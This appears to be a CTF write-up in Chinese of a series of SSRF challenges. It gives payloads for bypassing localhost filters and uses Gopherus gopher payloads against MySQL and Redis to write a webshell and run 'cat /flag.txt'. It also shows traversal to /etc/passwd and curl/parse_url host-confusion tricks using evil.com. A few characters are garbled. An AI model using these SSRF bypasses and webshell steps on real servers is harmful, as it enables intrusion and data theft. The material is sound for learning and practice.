web351-358
這部分的題目都是明文的,按照題目要求繞過就行了
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die('hacker');
}
}
else{die('hacker');
}
?>
本地讀取flag.php
本機地址過濾繞過方法:
url=http://127.1/flag.php
url=http://sudo.cc/flag.php
url=http://0/flag.php//借助服務器
url=http://服務器ip/1.php
1.php的內容:<?php
header("Location:http://127.0.0.1/flag.php"); //以http://ctf.開頭,以show結尾,用@截斷
url=http://ctf.@127.0.0.1/flag.php?show
web359(打mysql)
題目是一個登錄頁面,修改returl可以看到可以訪問輸入的url,我們這里利用gopherus工具通過mysql模塊生成payload
這里的_后面還要再次url編碼(后端curl接收到參數之后會默認再解碼一次)
post發送之后訪問2.php
ls之后看到一個flag.txt 文件查看
cmd=system('cat /flag.txt');
解析
這道題的思路是通過遠程連接mysql,并把一句話木馬寫入文件
只在以下情境下生效
mysql允許遠程連接
root用戶沒有設置密碼
mysql用戶有文件寫入的權限
知道web目錄的路徑
存在ssrf漏洞可以觸發gopher這個請求。
web360(打redis)
同理再次url編碼后發送,訪問shell.php,post提交cmd=system('cat /flaaag');得到flag
總結
127繞過
各種指向127.0.0.1的地址
http://localhost/ # localhost就是代指127.0.0.1
http://0/ # 0在window下代表0.0.0.0,而在liunx下代表127.0.0.1
http://[0:0:0:0:0:ffff:127.0.0.1]/ # 在liunx下可用,window測試了下不行
http://[::]:80/ # 在liunx下可用,window測試了下不行
http://127。0。0。1/ # 用中文句號繞過
http://①②⑦.?.?.①
http://127.1/
http://127.00000.00000.001/ # 0的數量多一點少一點都沒影響,最后還是會指向127.0.0.1
url=http://sudo.cc/flag.php//借助服務器
url=http://服務器ip/1.php
1.php的內容:<?php
header("Location:http://127.0.0.1/flag.php"); //以http://ctf.開頭,以show結尾,用@截斷
url=http://ctf.@127.0.0.1/flag.php?show
利用不存在的協議頭繞過指定的協議頭
file_get_contents()函數的一個特性,即當PHP的file_get_contents()函數在遇到不認識的協議頭時會把這個協議頭當成文件夾,造成目錄穿越漏洞,這時候只需不斷往上跳轉目錄即可讀到根目錄的文件
如:ssrf.php?url=httpsssss://../../../../../../etc/passwd
URL解析差異
1.readfile和parse_user函數解析差異繞過指定端口
$url = $_GET['url'];
$parsed = parse_url($url);// 檢查端口是否為允許的80端口
if(isset($parsed['port']) && $parsed['port'] != 80) {die("Port not allowed");
}// 實際讀取文件
readfile($url);
如果我們要讀取11211端口的文件的話可以
這種差異來源于
parse_url() 將 @ 符號前的內容識別為認證信息
readfile() 的底層實現可能使用不同的 URL 解析器,可能將最后一個 @ 后的內容作為實際目標
2.利用curl和parse_url的解析差異繞過指定host
http://example.com.evil.com/
http://example.com\@evil.com/
http://example.com%[email protected]/parse_url() 解析:
host: example.com (看起來合法)cURL 實際連接:
連接到 example.com.evil.com 或 evil.com
這種差異源于:
域名解析差異
parse_url() 可能不驗證域名的有效性
cURL 會解析最終域名
特殊字符處理:
parse_url() 可能忽略某些特殊字符
cURL 可能將某些字符解釋為分隔符
編碼差異:
URL 編碼字符可能被不同方式解碼